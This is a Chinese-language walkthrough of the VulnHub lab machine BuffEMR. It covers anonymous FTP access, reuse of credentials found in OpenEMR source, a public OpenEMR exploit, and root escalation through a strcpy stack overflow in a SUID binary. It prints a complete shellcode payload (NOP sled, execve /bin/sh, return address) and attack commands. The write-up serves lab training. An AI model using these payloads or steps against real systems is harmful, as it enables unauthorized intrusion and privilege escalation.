BuffEMR | 缓冲区溢出提权

靶机地址:https://www.vulnhub.com/entry/buffemr-101,717/

环境:VMware 16 Pro、攻击机:Ubuntu 20.04

主机探活

靶机网络设置为NAT模式,因此扫描攻击机网段:

image-20221220122918291

可知,攻击机ip:192.168.110.129,靶机ip:192.168.110.132

端口发现

image-20221220123224929

发现靶机开放端口为:21、22、80,其中 ftp 服务允许匿名登陆。

21 端口

用户名:Anonymous,密码:空,匿名登录 ftp 服务器,查看服务器上的文件:

image-20221220123806169

使用命令wget -r ftp://192.168.110.132,把文件全部下载到本地,看到 openemr 的源码,推测 80 端口搭建的是 openemr 的网站,其中 openemr 的各版本漏洞众多。

80 端口

尝试访问192.168.110.132/openemr,发现需要登录密码:

image-20221220125004428

期望在源码中找到登录密码,查找admin字符串有所收获:

image-20221220125457993

尝试用户名:admin,密码:Monster123,成功登录:

image-20221220125748258

可以看到 openemr 的版本信息:

image-20221220134640351

使用 searchsploit 工具查找相关漏洞:

image-20221220134943433

cp /opt/exploit-database/exploits/php/webapps/45161.py ./,尝试漏洞利用脚本 45161.py,查看样例命令:

image-20221220174919673

执行脚本成功得到靶机的shell:

image-20221220175426774

image-20221220201503985

/var路径下发现可疑文件 user.zip:

image-20221220205522084

使用靶机自带 python3 的 http 服务下载这个文件python3 -m http.server 8000

image-20221220215307153

但是发现解压需要密码:

image-20221220215338523

接下来,我们需要找到 user.zip 的解压密码,我们尝试查找数据库,在源码的 admin.php 中找到数据库连接函数和相应的配置文件:

image-20221220220057128

查找sqlconf.php文件,最终在./share/openemr/sites/default/sqlconf.php文件中看到数据库的用户名和密码:

image-20221220232733641

接着我们登录数据库,这里需要先用python生成新的bash进程:

image-20221220232628907

看到user_info数据表,查看可以得到一个密码:

image-20221220234306463

尝试解压zip成功,并得到ssh连接的密码,并成功连接:

image-20221220234748239

image-20221220234923226

提权实现

在buffemr用户下执行sudo -l,发现该用户不能执行sudo,我们希望能够进一步提权:

image-20221220235656824

通过find / -perm -u=s -type f 2>/dev/null查找具有SUID权限的文件,明显看到可疑文件/opt/dontexecute

image-20221221001446763

并且该文件的所有者为 root:

image-20221221001539862

我们同样利用python http服务把该文件拖到本地,进行分析:

image-20221221002441774

image-20221221002416671

拖入IDA中可以看到程序执行时需要参数,同时发现可疑函数vulnerable:

image-20221221112905737

查看 vulnerable 函数,看到缓冲区溢出的危险函数 strcpy() ,并且溢出长度为(0x1FC+4)=0x200:

image-20221221114010647

同时,我们看到该文件没有开启 NX 保护机制,因此我们考虑通过注入 shellcode 后利用 ret2shellcode 的方式利用漏洞:

image-20221221115605410

此时,程序中只有一个输入点且用户数据输入到栈上,因此我们考虑向栈上注入shellcode,此时需要泄露栈地址,看到程序开启了PIE保护机制,但是该保护机制只有在程序开启ASLR保护才有效,因此我们验证一下靶机的ASLR机制是否开启:

image-20221221121216687

看到靶机系统没有开启ASLR机制,即程序每次运行栈都加载到内存的固定地址处,因此在靶机中使用gdb调试,寻找栈地址:

image-20221221152043990

其中在 IDA 中可以看到0x6c0是call strcpy()指令的偏移量,在该处下断点可以看到strcpy(dest,src)函数的两个参数,即我们需要的栈地址:

image-20221221155513305

验证可以看到这块内存确实存放了我们输入的payload:

image-20221221155605359

因此,我们构造攻击payload的思路分成两个步骤:

  1. 向栈中注入shellcode
  2. 利用strcpy()函数栈溢出漏洞劫持程序到我们布置好的shellcode处

exp如下,其中'\x90'是nop指令的字节码,表示什么都不做的空指令,这里选择的返回地址为0xffffd5d0,shellcode由pwntools工具生成:

image-20221221155845407

把脚本的输出:

b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80\xd0\xd5\xff\xff'

作为参数攻击靶机程序:

image-20221221160437420

可以看到我们能够成功拿到靶机的shell,但是用户仍然为buffemr,没有实现提权,这是因为pwntools工具生成的shellcode仅仅实现getshell的功能,我们在此基础上还需要实现提权。具体如下,由于该文件具有SUID权限,即在程序运行时可以临时获得程序拥有者(root用户)的权限,因此我们可以先调用setuid(0);函数,shellcode如下:

image-20221221164923204

再次把脚本输出作为程序参数,成功得到root权限:

image-20221221164846853

附:

Ubuntu 20 安装 searchsploit:

sudo git clone https://gitlab.com/exploit-database/exploitdb.git /opt/exploit-database
sudo ln -sf /opt/exploit-database/searchsploit /usr/local/bin/searchsploit

参考资料:

  1. https://www.pudn.com/news/63252cc5b283a472d02574c9.html
  2. https://www.cnblogs.com/sainet/p/15723598.html
  3. https://www.bilibili.com/video/BV1dS4y1e7aA/?spm_id_from=333.788&vd_source=d98804780bfb6a9fe5886937a5d2b0e6